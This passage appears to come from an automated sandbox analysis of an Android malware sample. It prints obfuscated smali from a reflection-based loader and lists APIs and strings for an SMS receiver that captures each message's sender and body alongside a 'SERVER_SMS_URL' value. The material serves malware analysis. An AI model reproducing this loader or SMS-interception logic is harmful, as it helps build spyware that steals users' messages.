                                            295and-long/2addr v4, v6
                                            296iput-wide v4, p0, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->PNUTyEyAujZXrTPLmTc_8455867:J
                                            297const/16 v4, 0xe
                                            298iput v4, p0, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->OuOMmsIwOYbW_33:I
                                            299goto/16 :goto_237
                                            300goto_227: sput v2, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->dxqwBpGgIXJ_20:I
                                            301const-wide/32 v4, 0x474e62
                                            302iget-wide v6, p0, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->PNUTyEyAujZXrTPLmTc_8455867:J
                                            303const-wide/32 v8, 0x64c0da
                                            304mul-long v4, v4, v6
                                            305sub-long/2addr v4, v8
                                            306sub-long/2addr v4, v6
                                            307iput-wide v4, p0, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->PNUTyEyAujZXrTPLmTc_8455867:J
                                            308cond_237:
                                            309invoke-static {}, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->organexcuse()Ljava/lang/String;
                                            310move-result-object v4
                                            312invoke-virtual {p0, v3, v4}, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->plasticdecade(Ljava/lang/Class;Ljava/lang/String;)Ljava/lang/reflect/Field;
                                            313move-result-object v3
                                            314sget v4, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->rwYASfCJqxTsWOXMst_456503:F
                                            315const v4, 0xb343c
                                            316sget v5, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->dxqwBpGgIXJ_20:I
                                            317const v6, 0x672a9
                                            318iget v7, p0, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->OuOMmsIwOYbW_33:I
                                            319mul-int v5, v5, v6
                                            320add-int/2addr v5, v4
                                            321add-int/2addr v5, v7
                                            322sput v5, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->dxqwBpGgIXJ_20:I
                                            324invoke-virtual {p0, v3}, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->normaltime(Ljava/lang/reflect/Field;)V
                                            325iget v4, p0, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->OuOMmsIwOYbW_33:I
                                            326const v5, 0x11419
                                            327if-lt v4, v5, :cond_27b
                                            328const v5, 0x5d6c2
                                            329sget v6, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->dxqwBpGgIXJ_20:I
                                            330const v7, 0x712b9
                                            331and-int/2addr v4, v5
                                            332or-int/2addr v4, v6
                                            333or-int/2addr v4, v7
                                            334int-to-float v4, v4
                                            335sput v4, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->rwYASfCJqxTsWOXMst_456503:F
                                            336const-wide/32 v4, 0x4619b0
                                            337iget-wide v6, p0, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->PNUTyEyAujZXrTPLmTc_8455867:J
                                            338const-wide/32 v8, 0xcc667
                                            339and-long/2addr v8, v6
                                            340xor-long/2addr v6, v8
                                            341or-long/2addr v4, v6
                                            342iput-wide v4, p0, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->PNUTyEyAujZXrTPLmTc_8455867:J
                                            343const/16 v4, 0x33
                                            344sput v4, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->BqTtsuAZwkdJBFBSgQYP_531366:I
                                            345goto/16 :goto_289
                                            346cond_27b: iget-wide v4, p0, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->PNUTyEyAujZXrTPLmTc_8455867:J
                                            347const-wide/32 v6, 0x551ad9
                                            348sub-long/2addr v4, v6
                                            349iput-wide v4, p0, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->PNUTyEyAujZXrTPLmTc_8455867:J
                                            350sput v2, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->dxqwBpGgIXJ_20:I
                                            351const/16 v4, 0x16
                                            352iput v4, p0, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->OuOMmsIwOYbW_33:I
                                            353goto_289:
                                            354invoke-virtual {p0, v3, v0}, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->sheriffcruise(Ljava/lang/reflect/Field;Ljava/lang/Object;)Ljava/lang/Object;
                                            355move-result-object v0
                                            356const/16 v3, 0x17
                                            357iput v3, p0, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->OuOMmsIwOYbW_33:I
                                            358sget v3, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->rwYASfCJqxTsWOXMst_456503:F
                                            360invoke-static {}, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->rubberinsect()Ljava/lang/String;
                                            361move-result-object v3
                                            363invoke-virtual {p0, v3}, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->treatabsent(Ljava/lang/String;)Ljava/lang/Class;
                                            364move-result-object v3
                                            365const v4, 0x3a271
                                            366iput v4, p0, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->OuOMmsIwOYbW_33:I
                                            367iget v4, p0, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->OuOMmsIwOYbW_33:I
                                            368const v5, 0xc18a4
                                            369shr-int/2addr v4, v5
                                            370iput v4, p0, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->OuOMmsIwOYbW_33:I
                                            371const v4, 0x30730
                                            372sput v4, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->dxqwBpGgIXJ_20:I
                                            373sget v4, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->dxqwBpGgIXJ_20:I
                                            374const v5, 0xa7627
                                            375ushr-int/2addr v4, v5
                                            376sput v4, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->dxqwBpGgIXJ_20:I
                                            377const v4, 0x48111b40 # 148589.0f
                                            378sget v5, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->rwYASfCJqxTsWOXMst_456503:F
                                            379add-float/2addr v5, v4
                                            380sput v5, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->rwYASfCJqxTsWOXMst_456503:F
                                            382invoke-static {}, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->chaseagree()Ljava/lang/String;
                                            383move-result-object v4
                                            385invoke-virtual {p0, v3, v4}, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->plasticdecade(Ljava/lang/Class;Ljava/lang/String;)Ljava/lang/reflect/Field;
                                            386move-result-object v4
                                            387sget v5, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->rwYASfCJqxTsWOXMst_456503:F
                                            388const v5, 0x3214f
                                            389sget v6, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->dxqwBpGgIXJ_20:I
                                            390and-int/2addr v5, v6
                                            391sput v5, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->BqTtsuAZwkdJBFBSgQYP_531366:I
                                            392const/4 v5, 0x2
                                            393sput v5, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->BqTtsuAZwkdJBFBSgQYP_531366:I
                                            395invoke-virtual {p0, v4}, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->normaltime(Ljava/lang/reflect/Field;)V
                                            396sget v5, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->BqTtsuAZwkdJBFBSgQYP_531366:I
                                            397const v6, 0x470d7
                                            398if-ge v5, v6, :cond_2f8
                                            399const-wide/32 v5, 0x6a225d
                                            400iget-wide v7, p0, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->PNUTyEyAujZXrTPLmTc_8455867:J
                                            401mul-long v7, v7, v5
                                            402iput-wide v7, p0, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->PNUTyEyAujZXrTPLmTc_8455867:J
                                            403sget v1, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->rwYASfCJqxTsWOXMst_456503:F
                                            404const v5, 0x4902a6d0 # 535149.0f
                                            405const v6, 0x493b9c10 # 768449.0f
                                            406sub-float v5, v1, v5
                                            407div-float/2addr v1, v6
                                            408sub-float/2addr v5, v1
                                            409sput v5, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->rwYASfCJqxTsWOXMst_456503:F
                                            410const/16 v1, 0x2b
                                            411sput v1, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->dxqwBpGgIXJ_20:I
                                            412goto/16 :goto_307
                                            413cond_2f8: const v5, 0xe66af
                                            414sput v5, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->dxqwBpGgIXJ_20:I
                                            415sget v5, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->dxqwBpGgIXJ_20:I
                                            416const v6, 0xe3b6c
                                            417ushr-int/2addr v5, v6
                                            418sput v5, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->dxqwBpGgIXJ_20:I
                                            419sput v1, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->dxqwBpGgIXJ_20:I
                                            420goto_307:
                                            421invoke-virtual {v4, v0, p1}, Ljava/lang/reflect/Field;->set(Ljava/lang/Object;Ljava/lang/Object;)V
                                            422const v1, 0x2a2a6
                                            423sget v4, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->dxqwBpGgIXJ_20:I
                                            424const v5, 0x4065c
                                            425sub-int/2addr v1, v4
                                            426xor-int/2addr v1, v5
                                            427int-to-float v1, v1
                                            428sput v1, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->rwYASfCJqxTsWOXMst_456503:F
                                            429iget v1, p0, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->OuOMmsIwOYbW_33:I
                                            430or-int/lit16 v1, v1, 0x141
                                            431iput v1, p0, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->OuOMmsIwOYbW_33:I
                                            433invoke-static {}, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->jazzblue()Ljava/lang/String;
                                            434move-result-object v1
                                            436invoke-virtual {p0, v3, v1}, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->plasticdecade(Ljava/lang/Class;Ljava/lang/String;)Ljava/lang/reflect/Field;
                                            437move-result-object v1
                                            438const v3, 0x49728610 # 993377.0f
                                            439sget v4, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->rwYASfCJqxTsWOXMst_456503:F
                                            440mul-float v4, v4, v3
                                            441sput v4, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->rwYASfCJqxTsWOXMst_456503:F
                                            442iget-wide v3, p0, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->PNUTyEyAujZXrTPLmTc_8455867:J
                                            443const-wide/32 v5, 0x245ca9
                                            444mul-long v3, v3, v5
                                            445iput-wide v3, p0, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->PNUTyEyAujZXrTPLmTc_8455867:J
                                            447invoke-virtual {p0, v1}, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->normaltime(Ljava/lang/reflect/Field;)V
                                            448sget v3, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->BqTtsuAZwkdJBFBSgQYP_531366:I
                                            449const v4, 0x130e5
                                            450if-eq v3, v4, :cond_34c
                                            451const/16 v3, 0x6b
                                            452sput v3, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->BqTtsuAZwkdJBFBSgQYP_531366:I
                                            453sget v3, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->dxqwBpGgIXJ_20:I
                                            454add-int/lit16 v3, v3, 0x296b
                                            455sput v3, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->dxqwBpGgIXJ_20:I
                                            456goto/16 :goto_36d
                                            457cond_34c: const v4, 0x7f150
                                            458if-ge v3, v4, :cond_367
                                            459const/16 v3, 0xad
                                            460sput v3, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->dxqwBpGgIXJ_20:I
                                            461const v3, 0x720b1
                                            462sget v4, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->dxqwBpGgIXJ_20:I
                                            463const v5, 0x13acf
                                            464const v6, 0x96593
                                            465and-int/2addr v4, v5
                                            466xor-int/2addr v3, v4
                                            467or-int/2addr v3, v6
                                            468int-to-float v3, v3
                                            469sput v3, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->rwYASfCJqxTsWOXMst_456503:F
                                            470goto/16 :goto_36d
                                            471cond_367: const v4, 0xdeb3
                                            472const v4, 0xc46b1
                                            473goto_36d:
                                            474invoke-virtual {p0, v1, v0}, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->sheriffcruise(Ljava/lang/reflect/Field;Ljava/lang/Object;)Ljava/lang/Object;
                                            475move-result-object v0
                                            476check-cast v0, Ljava/util/ArrayList;
                                            477const/16 v1, 0x934
                                            478sput v1, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->BqTtsuAZwkdJBFBSgQYP_531366:I
                                            479const v1, 0x9068f
                                            480iput v1, p0, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->OuOMmsIwOYbW_33:I
                                            481iget v1, p0, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->OuOMmsIwOYbW_33:I
                                            482const v3, 0xa39c8
                                            483shr-int/2addr v1, v3
                                            484iput v1, p0, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->OuOMmsIwOYbW_33:I
                                            485const/16 v1, -0x5e
                                            486sput v1, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->dxqwBpGgIXJ_20:I
                                            488invoke-virtual {p0, v0, p1}, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->rughope(Ljava/util/ArrayList;Landroid/app/Application;)Z
                                            489sget v1, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->rwYASfCJqxTsWOXMst_456503:F
                                            490const v1, 0xab2ed
                                            491iget v3, p0, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->OuOMmsIwOYbW_33:I
                                            492or-int/2addr v1, v3
                                            493sput v1, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->dxqwBpGgIXJ_20:I
                                            495invoke-virtual {p0, v0, p2}, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->dampmemory(Ljava/util/ArrayList;Landroid/app/Application;)Z
                                            496iget p2, p0, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->OuOMmsIwOYbW_33:I
                                            497sget v0, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->dxqwBpGgIXJ_20:I
                                            498const v1, 0x63b54
                                            499if-gt p2, v1, :cond_3bd
                                            500sget p2, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->rwYASfCJqxTsWOXMst_456503:F
                                            501const v0, 0x48d916c0 # 444598.0f
                                            502const v1, 0x49312300 # 725552.0f
                                            503add-float/2addr v0, p2
                                            504mul-float p2, p2, v1
                                            505add-float/2addr v0, p2
                                            506sput v0, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->rwYASfCJqxTsWOXMst_456503:F
                                            507const p2, 0x575e3
                                            508sput p2, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->dxqwBpGgIXJ_20:I
                                            509sget p2, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->dxqwBpGgIXJ_20:I
                                            510const v0, 0x2fc5e
                                            511shl-int/2addr p2, v0
                                            512sput p2, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->dxqwBpGgIXJ_20:I
                                            513goto/16 :goto_3fb
                                            514cond_3bd: const v1, 0xea10e
                                            515if-eq p2, v1, :cond_3e3
                                            516const v1, 0x34332
                                            517if-gt v0, v1, :cond_3c8
                                            518goto/16 :goto_3e3
                                            519cond_3c8: const v1, 0x5c67f
                                            520if-lt p2, v1, :cond_3fb
                                            521const p2, 0x72d5b
                                            522if-lt v0, p2, :cond_3fb
                                            523const/16 p2, 0x5f
                                            524iput p2, p0, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->OuOMmsIwOYbW_33:I
                                            525sget p2, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->BqTtsuAZwkdJBFBSgQYP_531366:I
                                            526iget v0, p0, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->OuOMmsIwOYbW_33:I
                                            527const v1, 0x29c6c
                                            528add-int/2addr p2, v0
                                            529or-int/2addr p2, v1
                                            530int-to-float p2, p2
                                            531sput p2, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->rwYASfCJqxTsWOXMst_456503:F
                                            532goto/16 :goto_3fb
                                            533goto_3e3: const p2, 0xb0fa
                                            534sget v0, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->dxqwBpGgIXJ_20:I
                                            535iget v1, p0, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->OuOMmsIwOYbW_33:I
                                            536const v3, 0x925d
                                            537or-int/2addr p2, v0
                                            538or-int/2addr p2, v1
                                            539or-int/2addr p2, v3
                                            540sput p2, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->BqTtsuAZwkdJBFBSgQYP_531366:I
                                            541const p2, 0x9fd0e
                                            542sget v0, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->BqTtsuAZwkdJBFBSgQYP_531366:I
                                            543div-int/2addr v0, v1
                                            544or-int/2addr p2, v0
                                            545iput p2, p0, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->OuOMmsIwOYbW_33:I
                                            546goto_3fb: const-class p2, Landroid/app/Application;
                                            547const/4 v0, 0x1
                                            548new-array v1, v0, [Ljava/lang/Class;
                                            549const-class v3, Landroid/content/Context;
                                            550const/4 v4, 0x0
                                            551aput-object v3, v1, v4
                                            553invoke-static {}, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->roughaunt()Ljava/lang/String;
                                            554move-result-object v3
                                            556invoke-virtual {p2, v3, v1}, Ljava/lang/Class;->getDeclaredMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                                            557move-result-object p2
                                            558const v1, 0x49521180 # 860440.0f
                                            559sget v3, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->rwYASfCJqxTsWOXMst_456503:F
                                            560const v5, 0x4890a8e0 # 296263.0f
                                            561sub-float/2addr v1, v3
                                            562add-float/2addr v1, v5
                                            563add-float/2addr v1, v3
                                            564sput v1, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->rwYASfCJqxTsWOXMst_456503:F
                                            565iget-wide v5, p0, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->PNUTyEyAujZXrTPLmTc_8455867:J
                                            566const-wide/32 v7, 0x87fc41
                                            567const-wide/32 v9, 0x7f354c
                                            568xor-long/2addr v7, v5
                                            569xor-long/2addr v5, v7
                                            570xor-long/2addr v5, v9
                                            571iput-wide v5, p0, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->PNUTyEyAujZXrTPLmTc_8455867:J
                                            573invoke-virtual {p2, v0}, Ljava/lang/reflect/Method;->setAccessible(Z)V
                                            574const/16 v1, -0x4c
                                            575iput v1, p0, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->OuOMmsIwOYbW_33:I
                                            576const/16 v1, 0x5b
                                            577iput v1, p0, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->OuOMmsIwOYbW_33:I
                                            578new-array v0, v0, [Ljava/lang/Object;
                                            579aput-object p3, v0, v4
                                            581invoke-virtual {p2, p1, v0}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                                            582goto_439: const/16 p2, 0x30
                                            583if-eq v4, p2, :cond_48f
                                            584iget p2, p0, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->OuOMmsIwOYbW_33:I
                                            585const p3, 0x7e573
                                            586sget v0, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->BqTtsuAZwkdJBFBSgQYP_531366:I
                                            587const v1, 0x29994
                                            588and-int/2addr p3, v0
                                            589xor-int/2addr p2, p3
                                            590xor-int/2addr p2, v1
                                            591int-to-float p2, p2
                                            592sput p2, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->rwYASfCJqxTsWOXMst_456503:F
                                            593const-wide/32 p2, 0x1d3afc
                                            594iput-wide p2, p0, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->PNUTyEyAujZXrTPLmTc_8455867:J
                                            595iget-wide p2, p0, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->PNUTyEyAujZXrTPLmTc_8455867:J
                                            596const v1, 0x4b023e
                                            597ushr-long/2addr p2, v1
                                            598iput-wide p2, p0, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->PNUTyEyAujZXrTPLmTc_8455867:J
                                            599sget p2, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->dxqwBpGgIXJ_20:I
                                            600const p3, 0xb4a96
                                            601if-eq p2, p3, :cond_473
                                            602const p2, 0x1401d
                                            603sput p2, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->dxqwBpGgIXJ_20:I
                                            604sget p2, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->dxqwBpGgIXJ_20:I
                                            605const p3, 0xecbe
                                            606shr-int/2addr p2, p3
                                            607sput p2, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->dxqwBpGgIXJ_20:I
                                            608const/16 p2, 0x10
                                            609sput p2, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->BqTtsuAZwkdJBFBSgQYP_531366:I
                                            610goto/16 :goto_48c
                                            611cond_473: const p3, 0x349af
                                            612if-gt p2, p3, :cond_47c
                                            613const p3, 0xd2a9d
                                            614goto/16 :goto_48c
                                            615cond_47c: const p2, 0xa0331
                                            616add-int/2addr v0, p2
                                            617iput v0, p0, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->OuOMmsIwOYbW_33:I
                                            618sput v2, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->dxqwBpGgIXJ_20:I
                                            619const/16 p2, 0xdb
                                            620sput p2, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->dxqwBpGgIXJ_20:I
                                            621const/16 p2, 0x114f
                                            622sput p2, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->BqTtsuAZwkdJBFBSgQYP_531366:I
                                            623goto_48c: add-int/lit8 v4, v4, 0x1
                                            624goto/16 :goto_439
                                            625cond_48f:
                                            626invoke-virtual {p0, p1}, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->inheritblast(Landroid/app/Application;)V
                                            627sget p1, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->dxqwBpGgIXJ_20:I
                                            628iget p2, p0, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->OuOMmsIwOYbW_33:I
                                            629mul-int p1, p1, p2
                                            630sput p1, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->BqTtsuAZwkdJBFBSgQYP_531366:I
                                            631sget p1, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->rwYASfCJqxTsWOXMst_456503:F
                                            632const p2, 0x495ddb90 # 908729.0f
                                            633const p3, 0x494427b0 # 803451.0f
                                            634mul-float p1, p1, p2
                                            635sub-float/2addr p3, p1
                                            636sput p3, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->rwYASfCJqxTsWOXMst_456503:F
                                            637return-void
                                            APIs
                                            • android.content.Intent.getAction
                                            • android.content.Intent.getAction
                                            • java.lang.String.equals
                                            • android.content.Intent.getExtras
                                            • android.os.Bundle.get
                                            • android.telephony.SmsMessage.createFromPdu
                                            • android.telephony.SmsMessage.getOriginatingAddress
                                            • android.telephony.SmsMessage.getMessageBody
                                            • java.lang.StringBuilder.<init>
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.toString
                                            • improve.harbor.eager.sms.IncomingSmsListener.a:Limprove/harbor/eager/g
                                            • improve.harbor.eager.sms.IncomingSmsListener.a
                                            • java.lang.Thread.<init>
                                            • java.lang.Thread.start
                                            • improve.harbor.eager.sms.IncomingSmsListener.a:Limprove/harbor/eager/g
                                            • java.lang.Integer.intValue
                                            • improve.harbor.eager.MainServiceJob.a
                                            • improve.harbor.eager.MainServiceJob.b
                                            • improve.harbor.eager.MainService.a
                                            • improve.harbor.eager.MainService.a
                                            Strings
                                            • android.provider.Telephony.SMS_RECEIVED
                                            • pdus
                                            • TXT_C_13
                                            • SMS :
                                            • PHONE:
                                            • SERVER_SMS_URL
                                            • PING_SERVICE_WORKING
                                            • TXT_97
                                            • TXT_96
                                            Position Instruction Meta Information
                                            1invoke-static {p1}, Limprove/harbor/eager/g;->a(Landroid/content/Context;)Limprove/harbor/eager/g;
                                            2move-result-object v0
